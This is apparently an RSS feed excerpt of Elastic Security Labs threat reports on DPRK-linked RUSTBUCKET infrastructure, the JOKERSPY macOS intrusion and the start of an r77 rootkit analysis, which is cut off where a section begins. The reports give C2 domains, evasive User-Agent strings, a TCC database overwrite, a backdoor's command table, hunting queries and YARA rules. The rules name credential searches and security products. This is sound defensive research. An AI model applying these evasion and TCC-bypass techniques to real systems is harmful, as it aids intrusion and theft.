<p><strong>companydesk[.]online</strong> is included in the <a href="https://www.virustotal.com/graph/g6e8b200cfd774d129558fa5715c83d1bc81099f5cd7643719580be988ec01b8f">VirusTotal Graph</a> (VirusTotal account required) for <a href="https://attack.mitre.org/groups/G0082/">APT38</a>, which is also known as DangerousPassword, BlueNorOff, etc.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdb89e6c8c1c57cb6/6a7c75748fc2d076263e86d1/image3.jpg" alt="Selection from the VirusTotal Graph for DangerousPassword" title="Selection from the VirusTotal Graph for DangerousPassword" /></p>
<p>DangerousPassword and BlueNorOff are campaigns that have both been previously associated with the DPRK.</p>
<p>Using the IP address (<strong>64.44.141[.]15</strong>) for our initial C2 domain, <strong>crypto.hondchain[.]com</strong>, we uncovered 3 additional C2 domains:</p>
<ul>
<li><strong>starbucls[.]xyz</strong></li>
<li><strong>jaicvc[.]com</strong></li>
<li><strong>docsend.linkpc[.]net</strong> (dynamic DNS domain)</li>
</ul>
<p>While there are only 5 hosts (4 total domains) registered to the C2 IP address (indicating that this was not a high-capacity hosting server), we looked for additional relationships to increase the association confidence between the domains. To do this, we replicated the same fingerprinting process previously used with <strong>webhostwatto.work[.]gd</strong>. The TLS fingerprint hash for <strong>starbucls[.]xyz</strong> ( <strong>788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a</strong> ) is the same fingerprint as <strong>jaicvc[.]com</strong>.</p>
<p>With these two domains having the same TLS fingerprint hash and the fact that they were both registered to the IP address, we were able to cluster these atomic entities, and their siblings, together with high confidence:</p>
<ul>
<li>All hosts were registered to <strong>64.44.141[.]15</strong></li>
<li><strong>starbucls[.]xyz</strong> and <strong>crypto.hondchain[.]com</strong> were observed being used by our malware samples</li>
<li><strong>starbucls[.]xyz</strong> and <strong>jaicvc[.]com</strong> shared a TLS fingerprint</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt50a6492ddd81e289/6a7c7577baa1a5284ccbc5e8/image8.jpg" alt="Domains registered to REF9135 C2 IP address" title="Domains registered to REF9135 C2 IP address" /></p>
<p>Looking at the “First” column (when they were first observed through 3rd party passive DNS), these hosts are being created rapidly, likely as an attempt to stay ahead of detection efforts by research teams. We are associating the following domains and IP address to the REF9135 campaign with high confidence:</p>
<ul>
<li><strong>starbucls[.]xyz</strong></li>
<li><strong>jaicvc[.]com</strong></li>
<li><strong>crypto.hondchain[.]com</strong></li>
<li><strong>64.44.141[.]15</strong></li>
</ul>
<p>We have not observed <strong>docsend.linkpc[.]net</strong> being used with the RUSTBUCKET samples we analyzed. However, its shared IP registration and host siblings lead us to state with a moderate degree of confidence that it is directly related to RUSTBUCKET and REF9135 as C2 infrastructure; and a high degree of confidence that it is malicious (shared infrastructure as part of other campaigns).</p>
<h3 id="defenseevasion">Defense evasion</h3>
<p>The campaign owners used techniques to hinder the collection of Stage 2 and Stage 3 binaries by analysts who may have overlooked User-Agent strings in their investigations, as well as internet scanners and sandboxes focused on collecting malicious binaries.</p>
<p>As outlined in the Stage 1 section, there is a specific User-Agent string ( <strong>cur1-agent</strong> ) that is expected when downloading the Stage 2 binary, if you do not use the expected User-Agent, you will be provided with a 405 HTTP response status code (Method Not Allowed).</p>
<p>It also appears that the campaign owners are monitoring their payload staging infrastructure. Using the expected User-Agent for the Stage 3 binary download (<strong>mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)</strong>), we were able to collect the Stage 3 binary.</p>
<p>Finally, we observed REF9135 changing its C2 domain once we began to collect the Stage 2 and 3 binaries for analysis. When making subsequent requests to the original server (<strong>crypto.hondchain[.]com</strong>), we received a 404 HTTP response status code (Not Found) and shortly after, a new C2 server was identified (<strong>starbucls[.]xyz</strong>). This could be because we caught the binary before it was rolled off as part of a normal operational security practice (don’t leave your valuable payload attached to the Internet to be discovered) or because they observed a connection to their infrastructure that was not from their targeted network.</p>
<p>Of note, while the User-Agent strings above could initially appear to be the default cURL or Firefox User-Agents strings to an analyst, they are not. The default cURL User-Agent string is <strong>curl%2Fversion.number</strong> whereas the malware uses <strong>cur1-agent</strong> (using a <strong>1</strong> in place of the <strong>l</strong> in “curl”). Additionally, the “Firefox” string is all lowercase (<strong>mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)</strong>), unlike actual <a href="https://www.useragentstring.com/pages/Firefox/">Firefox User-Agent strings</a> which are camel-cased.</p>
<p>This requirement to download payloads allows the attackers to restrict distribution to only requestors who know the correct UA string. This provides strong protection against both scanning services and researchers, who would otherwise have early access to hosted malicious files for analysis and detection engineering.</p>
<h3 id="victimology">Victimology</h3>
<p>The REF9135 victim is a venture-backed cryptocurrency company providing services to businesses such as payroll and business-to-business transactions with a headquarters in the United States. This victim fits the mold from prior reporting on BlueNorOff targeting organizations with access to large amounts of cryptocurrency for theft.</p>
<h2 id="observedadversarytacticsandtechniques">Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
</ul>
<h2 id="diamondmodel">Diamond model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6ceb3ce10d088bb1/6a7c757a4c4bfb8068cc7668/image13.jpg" alt="REF9135 Diamond Model" title="REF9135 Diamond Model" /></p>
<h2 id="detectionlogic">Detection logic</h2>
<h3 id="prevention">Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_RustBucket.yar">MacOS.Trojan.RustBucket</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_persistence_via_suspicious_launch_agent_or_launch_daemon.toml">Persistence via Suspicious Launch Agent or Launch Daemon</a></li>
</ul>
<h3 id="huntingqueries">Hunting queries</h3>
<p>The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4 id="eqlqueries">EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors observed in REF9135.</p>
<p><strong>Suspicious Curl File Download via Osascript</strong></p>
<pre><code>process where process.parent.name : "osascript" and process.name : "curl" and process.args : "-o"
</code></pre>
<p><strong>Suspicious URL as argument to Self-Signed Binary</strong></p>
<pre><code>process where event.type == "start" and event.action == "exec" and 
 process.code_signature.trusted == false and 
 process.code_signature.signing_id regex~ """[A-Za-z0-9\_\s]{2,}\-[a-z0-9]{40}""" and 
 process.args : "http*" and process.args_count &lt;= 3
</code></pre>
<h4 id="yara">YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the RUSTBUCKET malware:</p>
<pre><code> rule MacOS_Trojan_RustBucket {
    meta:
        author = "Elastic Security"
        creation_date = "2023-06-26"
        last_modified = "2023-06-26"
        license = "Elastic License v2"
        os = "MacOS"
        arch = "x86"
        category_type = "Trojan"
        family = "RustBucket"
        threat_name = "MacOS.Trojan.RustBucket"
        reference_sample = "9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747"
        severity = 100

    strings:
        $user_agent = "User-AgentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
        $install_log = "/var/log/install.log"
        $timestamp = "%Y-%m-%d %H:%M:%S"
    condition:
        all of them
}
</code></pre>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/">https:%2F%2Fwww.jamf.com%2Fblog%2FBlueNorOff-apt-targets-macos-rustbucket-malware%2F</a></li>
<li><a href="https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/">https:%2F%2Fblog.sekoia.io%2FBlueNorOffs-rustbucket-campaign%2F</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/rustbucket">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable | Type | Name | Reference |
| --- | --- | --- | --- |
| webhostwatto.work[.]gd | Domain | N%2FA | REF9135 C2 domain |
| crypto.hondchain[.]com | Domain | N%2FA | REF9135 C2 domain |
| starbucls[.]xyz | Domain | N%2FA | REF9135 C2 domain |
| jaicvc[.]com | Domain | N%2FA | REF9135 C2 domain |
| docsend.linkpc[.]net | Domain | N%2FA | REF9135 C2 domain |
| companydeck[.]online | Domain | N%2FA | Associated by REF9135 TLS fingerprint hash |
| 104.168.167[.]88 | ipv4 | N%2FA | REF9135 C2 IP address |
| 64.44.141[.]15 | ipv4 | N%2FA | REF9135 C2 IP address |
| 788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a | x509-certificate | jaicvc[.]com | REF9135 C2 TLS fingerprint hash |
| 1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6 | x509-certificate | webhostwatto.work[.]gd | REF9135 C2 TLS fingerprint hash |
| 9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
| 7fccc871c889a4f4c13a977fdd5f062d6de23c3ffd27e72661c986fae6370387 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
| ec8f97d5595d92ec678ffbf5ae1f60ce90e620088927f751c76935c46aa7dc41 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
| de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500 | SHA-256 | ErrorCheck | MacOS.Trojan.RustBucket |
| 4f49514ab1794177a61c50c63b93b903c46f9b914c32ebe9c96aa3cbc1f99b16 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
| fe8c0e881593cc3dfa7a66e314b12b322053c67cbc9b606d5a2c0a12f097ef69 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
| 7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8 | SHA-256 | %2FUsers%2FShared%2F.pd | Stage 2 |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/DPRK-strikes-using-a-new-variant-of-rustbucket</link>
    <guid isPermaLink="false">DPRK-strikes-using-a-new-variant-of-rustbucket</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Salim Bitam,Ricardo Ungureanu,Colson Wilhoit,Seth Goodwin,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt34ae32eadc64bca1/6a7c757d9f525144b3663e6e/photo-edited-12@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 14 Jul 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Initial research exposing JOKERSPY]]></title>
    <description><![CDATA[Explore JOKERSPY, a recently discovered campaign that targets financial institutions with Python backdoors. This article covers reconnaissance, attack patterns, and methods of identifying JOKERSPY in your network.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>This is an initial notification of an active intrusion with additional details to follow</li>
<li>REF9134 leverages custom and open source tools for reconnaissance and command and control</li>
<li>Targets of this activity include a cryptocurrency exchange in Japan</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>This research article explores a recently discovered intrusion we’re calling REF9134, which involves using the <strong>sh.py</strong> backdoor to deploy the macOS Swiftbelt enumeration tool. <strong>sh.py</strong> and <strong>xcc</strong> have recently been dubbed <a href="https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack/">JOKERSPY</a> by Bitdefender.</p>
<p>Specifically, this research covers:</p>
<ul>
<li>How Elastic Security Labs identified reconnaissance from the adversary group</li>
<li>The adversary’s steps to evade detection using <strong>xcc</strong> , installing the <strong>sh.py</strong> backdoor, and deploying enumeration tools</li>
</ul>
<p>A deeper look at this attack may be published at a later date.</p>
<h2 id="overview">Overview</h2>
<p>In late May of 2023, an adversary with existing access in a prominent Japanese cryptocurrency exchange tripped one of our diagnostic endpoint alerts that detected the execution of a binary ( <strong>xcc</strong> ). <strong>xcc</strong> is not trusted by Apple, and the adversary self-signed using the native macOS tool <strong>codesign</strong>. While this detection in itself was not necessarily innocuous, the industry vertical and additional activity we observed following these initial alerts caught our eye and caused us to pay closer attention.</p>
<p>Following the execution of <strong>xcc</strong> , we observed the threat actor attempting to bypass TCC permissions by creating their own TCC database and trying to replace the existing one. On June 1st a new Python-based tool was seen executing from the same directory as <strong>xcc</strong> and was utilized to execute an open-source macOS post-exploitation enumeration tool known as Swiftbelt.</p>
<h2 id="analysis">Analysis</h2>
<p>REF9134 is an intrusion into a large Japan-based cryptocurrency service provider focusing on asset exchange for trading Bitcoin, Ethereum, and other common cryptocurrencies.</p>
<h3 id="thexccbinary">The xcc binary</h3>
<p><strong>xcc</strong> ( <strong>d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8</strong> ) is a self-signed multi-architecture binary written in Swift which is used to evaluate current system permissions. The version observed by Elastic Security Labs is signed as <strong>XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4</strong> , and has a code signature resembling <a href="https://objective-see.org/blog/blog_0x73.html">publicly known</a> and untrusted payloads.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt75ae5ef9e8fdfec0/6a7c8774fc63abee8964700e/image8.png" alt="Initial detection of the xcc binary" title="Initial detection of the xcc binary" /></p>
<p>To identify other binaries signed with the same identifier, we converted <strong>XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4</strong> to hexadecimal and searched VirusTotal to identify 3 additional samples ( <strong>content:{5850726f74656374436865636b2d35353535343934346637343039366138333662373333313062643535643937643164666635636434}</strong> ).</p>
<p>Each contained the same core functionality with structural differences. These discrepancies may indicate that these variants of <strong>xcc</strong> were developed to bypass endpoint capabilities that interfered with execution.</p>
<p>Shortly after the creation of <strong>xcc</strong> , researchers observed the threat actor copying <strong>/Users/Shared/tcc.db</strong> over the existing TCC database, <strong>/Library/Application Support/com.apple.TCC/TCC.db</strong>. This may enable the threat to avoid TCC prompts visible to system users while simultaneously abusing a directory with broad file write permissions.</p>
<h4 id="xcodeartifacts">XCode artifacts</h4>
<p>During analysis of this binary, researchers identified two unique paths, <strong>/Users/joker/Developer/Xcode/DerivedData/</strong> and <strong>/Users/joker/Downloads/Spy/XProtectCheck/XProtectCheck/</strong> , which stood out as anomalous. The default path for compiling code with Xcode is <strong>/Users/[username]/Developer/Xcode/DerivedData</strong>.</p>
<h4 id="abusingtcc">Abusing TCC</h4>
<p>These introspection permissions are managed by the native Transparency, Consent, and Control (TCC) feature. Researchers determined that <strong>xcc</strong> checks FullDiskAccess and ScreenRecording permissions, as well as checking if the screen is currently locked and if the current process is a trusted accessibility client.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte310e6af9234d532/6a7c87779f52510cdc6640c3/image2.jpg" alt="xcc queries current system permissions" title="xcc queries current system permissions" /></p>
<p>Upon successfully executing in our <a href="https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate">Detonate</a> environment, the following results were displayed:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt60503d32a6f038f4/6a7c877a1967ea14a932a92e/image3.jpg" alt="TCC permissions queried by xcc" title="TCC permissions queried by xcc" /></p>
<p>Once the custom TCC database was placed in the expected location, the threat actor executed the <strong>xcc</strong> binary.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltccfd4b6723753759/6a7c877d42a1171e259561d5/image4.jpg" alt="Threat actor creating/modifying, moving a TCC database, and then executing xcc" title="Threat actor creating/modifying, moving a TCC database, and then executing xcc" /></p>
<h4 id="initialaccess">Initial access</h4>
<p>The <strong>xcc</strong> binary was executed via bash by three separate processes</p>
<ul>
<li><strong>/Applications/IntelliJ IDEA.app/Contents/MacOS/idea</strong></li>
<li><strong>/Applications/iTerm.app/Contents/MacOS/iTerm2</strong></li>
<li><strong>/Applications/Visual Studio Code.app/Contents/MacOS/Electron.</strong></li>
</ul>
<p>While we are still investigating and continuing to gather information, we strongly believe that the initial access for this malware was a malicious or backdoored plugin or 3rd party dependency that provided the threat actor access. This aligns with the connection that was made by the researchers at <a href="https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack/">Bitdefender</a> who correlated the hardcoded domain found in a version of the <strong>sh.py</strong> backdoor to a Tweet about an infected macOS QR code reader which was found to have a malicious dependency.</p>
<h4 id="deployedcryptographiclibraries">Deployed cryptographic libraries</h4>
<p>On May 31st, researchers observed three non-native <a href="https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html">DyLibs</a> deployed to <strong>/Users/shared/keybag/</strong> called <strong>libcrypto.1.0.0.dylib</strong> , <strong>libncursesw.5.dylib</strong> , and <strong>libssl.1.0.0.dylib</strong>. On MacOS, keys for file and keychain Data Protection are stored in <a href="https://support.apple.com/en-au/guide/security/sec6483d5760/web">keybags</a>, and pertain to iOS, iPadOS, watchOS, and tvOS. At this time, researchers propose that this staging serves a defense evasion purpose and speculate that they may contain useful vulnerabilities. The threat actor may plan to introduce these vulnerabilities to otherwise patched systems or applications.</p>
<h4 id="theshpybackdoor">The sh.py backdoor</h4>
<p><strong>sh.py</strong> is a Python backdoor used to deploy and execute other post-exploitation capabilities like Swiftbelt <strong>.</strong></p>
<p>The malware loads its configuration from <strong>~/Public/Safari/sar.dat</strong>. The configuration file contains crucial elements such as command-and-control (C2) URLs, a sleep timer for beaconing purposes (the default value is 5 seconds), and a unique nine-digit identifier assigned to each agent.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt49ae4f069ea57447/6a7c87806c6eac32d6f0e487/image5.jpg" alt="Execution of sh.py with the C2 URL provided as a parameter" title="Execution of sh.py with the C2 URL provided as a parameter" /></p>
<p>As part of its periodic beaconing, the malware gathers and transmits various system information. The information sent includes:</p>
<ul>
<li>Hostname</li>
<li>Username</li>
<li>Domain name</li>
<li>Current directory</li>
<li>The absolute path of the executable binary</li>
<li>OS version</li>
<li>Is 64-bit OS</li>
<li>Is 64-bit process</li>
<li>Python version</li>
</ul>
<p>Below is a table outlining the various commands that can be handled by the backdoor:</p>
<p>| Command | Description                                                                           |
| ------- | ------------------------------------------------------------------------------------- |
| sk      | Stop the backdoor's execution                                                         |
| l       | List the files of the path provided as parameter                                      |
| c       | Execute and return the output of a shell command                                      |
| cd      | Change directory and return the new path                                              |
| xs      | Execute a Python code given as a parameter in the current context                     |
| xsi     | Decode a Base64-encoded Python code given as a parameter, compile it, then execute it |
| r       | Remove a file or directory from the system                                            |
| e       | Execute a file from the system with or without parameter                              |
| u       | Upload a file to the infected system                                                  |
| d       | Download a file from the infected system                                              |
| g       | Get the current malware's configuration stored in the configuration file              |
| w       | Override the malware's configuration file with new values                             |</p>
<h3 id="swiftbelt">Swiftbelt</h3>
<p>On June 1st, the compromised system registered a signature alert for <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Hacktool_Swiftbelt.yar">MacOS.Hacktool.Swiftbelt</a>, a MacOS enumeration capability inspired by <a href="https://github.com/GhostPack/Seatbelt">SeatBelt</a> and created by the red-teamer Cedric Owens. Unlike other enumeration methods, Swiftbelt invokes Swift code to avoid creating command line artifacts. Notably, <strong>xcc</strong> variants are also written using Swift.</p>
<p>The signature alert indicated that Swiftbelt was written to <strong>/Users/shared/sb</strong> and executed using the bash shell interpreter, <strong>sh</strong>. The full command line observed by researchers was <strong>Users/Shared/sb /bin/sh -c /users/shared/sb \&gt; /users/shared/sb.log 2\&gt;&amp;1</strong> , demonstrating that the threat actor captured results in <strong>sb.log</strong> while errors were directed to STDOUT.</p>
<h2 id="diamondmodel">Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt478bc0dfa6352cf6/6a7c8782448e4e1dcb5bac63/image1.png" alt="REF9134 Diamond Model" title="REF9134 Diamond Model" /></p>
<h2 id="observedtacticsandtechniques">Observed tactics and techniques</h2>
<h3 id="mitreattcktactics">MITRE ATT&amp;CK Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action. These are the tactics observed by Elastic Security Labs in this campaign:</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
</ul>
<h3 id="mitreattcktechniquessubtechniques">MITRE ATT&amp;CK Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action. These are the techniques observed by Elastic Security Labs in this campaign:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/004">Dylib Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1068">Potential Exploitation for Privilege Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548">Potential Abuse Elevation Control Mechanism</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564">Hide Artifacts</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscating Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1553">Subvert Trust Controls</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/software/S0498">Crytpoistic Software</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005">Data from Local System</a></li>
</ul>
<h2 id="detectionlogic">Detection logic</h2>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the JOKERSPY backdoor and SwiftBelt tool.</p>
<pre><code>rule Macos_Hacktool_JokerSpy {
    meta:
        author = "Elastic Security"
        creation_date = "2023-06-19"
        last_modified = "2023-06-19"
        os = "MacOS"
        arch = "x86"
        category_type = "Hacktool"
        family = "JokerSpy"
        threat_name = "Macos.Hacktool.JokerSpy"
        reference_sample = "d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8"
        license = "Elastic License v2"

    strings:
        $str1 = "ScreenRecording: NO" fullword
        $str2 = "Accessibility: NO" fullword
        $str3 = "Accessibility: YES" fullword
        $str4 = "eck13XProtectCheck"
        $str5 = "Accessibility: NO" fullword
        $str6 = "kMDItemDisplayName = *TCC.db" fullword
    condition:
        5 of them
}
</code></pre>
<pre><code>rule MacOS_Hacktool_Swiftbelt {
    meta:
        author = "Elastic Security"
        creation_date = "2021-10-12"
        last_modified = "2021-10-25"
        threat_name = "MacOS.Hacktool.Swiftbelt"
        reference_sample = "452c832a17436f61ad5f32ee1c97db05575160105ed1dcd0d3c6db9fb5a9aea1"
        os = "macos"
        arch_context = "x86"
        license = "Elastic License v2"

    strings:
        $dbg1 = "SwiftBelt/Sources/SwiftBelt"
        $dbg2 = "[-] Firefox places.sqlite database not found for user"
        $dbg3 = "[-] No security products found"
        $dbg4 = "SSH/AWS/gcloud Credentials Search:"
        $dbg5 = "[-] Could not open the Slack Cookies database"
        $sec1 = "[+] Malwarebytes A/V found on this host"
        $sec2 = "[+] Cisco AMP for endpoints found"
        $sec3 = "[+] SentinelOne agent running"
        $sec4 = "[+] Crowdstrike Falcon agent found"
        $sec5 = "[+] FireEye HX agent installed"
        $sec6 = "[+] Little snitch firewall found"
        $sec7 = "[+] ESET A/V installed"
        $sec8 = "[+] Carbon Black OSX Sensor installed"
        $sec9 = "/Library/Little Snitch"
        $sec10 = "/Library/FireEye/xagt"
        $sec11 = "/Library/CS/falcond"
        $sec12 = "/Library/Logs/PaloAltoNetworks/GlobalProtect"
        $sec13 = "/Library/Application Support/Malwarebytes"
        $sec14 = "/usr/local/bin/osqueryi"
        $sec15 = "/Library/Sophos Anti-Virus"
        $sec16 = "/Library/Objective-See/Lulu"
        $sec17 = "com.eset.remoteadministrator.agent"
        $sec18 = "/Applications/CarbonBlack/CbOsxSensorService"
        $sec19 = "/Applications/BlockBlock Helper.app"
        $sec20 = "/Applications/KextViewr.app"
    condition:
        6 of them
}
</code></pre>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack/">https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                       | Type    | Name                | Reference                |
| ---------------------------------------------------------------- | ------- | ------------------- | ------------------------ |
| app.influmarket[.]org                                            | Domain  | n/a                 | sh.py domain             |
| d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8 | SHA-256 | /Users/Shared/xcc   | Macos.Hacktool.JokerSpy  |
| 8ca86f78f0c73a46f31be366538423ea0ec58089f3880e041543d08ce11fa626 | SHA-256 | /Users/Shared/sb    | MacOS.Hacktool.Swiftbelt |
| aa951c053baf011d08f3a60a10c1d09bbac32f332413db5b38b8737558a08dc1 | SHA-256 | /Users/Shared/sh.py | sh.py script             |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/inital-research-of-jokerspy</link>
    <guid isPermaLink="false">inital-research-of-jokerspy</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Colson Wilhoit,Salim Bitam,Seth Goodwin,Andrew Pease,Ricardo Ungureanu]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt89cecf38611fd665/6a7c87855967e51e015d75fb/photo-edited-04@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 21 Jun 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Elastic Security Labs steps through the r77 rootkit]]></title>
    <description><![CDATA[Elastic Security Labs explores a campaign leveraging the r77 rootkit and has been observed deploying the XMRIG crypto miner. The research highlights the different modules of the rootkit and how they’re used to deploy additional malicious payloads.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>r77 is a stealthy open source rootkit that is being used to deploy the XMRIG crypto miner</li>
<li>r77 uses several modules as a way to successfully install and maintain persistence</li>
<li>Campaign authors are leaning heavily on open source tools and scripts, possibly to abstract attribution or reduce development costs</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>Elastic Security Labs has uncovered a malicious crypto miner that had been deployed in several Asian countries. The campaign owners are using an open source userland rootkit, called r77.</p>
<p>r77’s primary purpose is to hide the presence of other software on a system by hooking important Windows APIs, making it an ideal tool for cybercriminals looking to carry out stealthy attacks. By leveraging the r77 rootkit, the authors of the malicious crypto miner were able to evade detection and continue their campaign undetected.</p>
<p>In this research, we will highlight the inner workings of the r77 rootkit and explore how it was used in conjunction with the crypto miner. We hope to raise awareness of the ongoing threat posed by cybercriminals and encourage individuals and organizations to take proactive steps to protect their systems and networks.</p>
<h2 id="codeanalysis">Code analysis</h2>
<h3 id="overview">Overview</h3>
<p>The rootkit is comprised of 4 distinct modules:</p>
<ol>
<li>The installer module.</li>
<li>The stager module.</li>
<li>The service module.</li>
<li>The core module.</li>
</ol>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt287975d1b7fc6e7d/6a7c8146c33f4fccb6d54a46/image3.jpg" alt="r77 rootkit and crypto miner execution flow" /></p>
<p>We will cover each module and phase in detail below.</p>
<h3 id="installermodule">Installer module</h3>
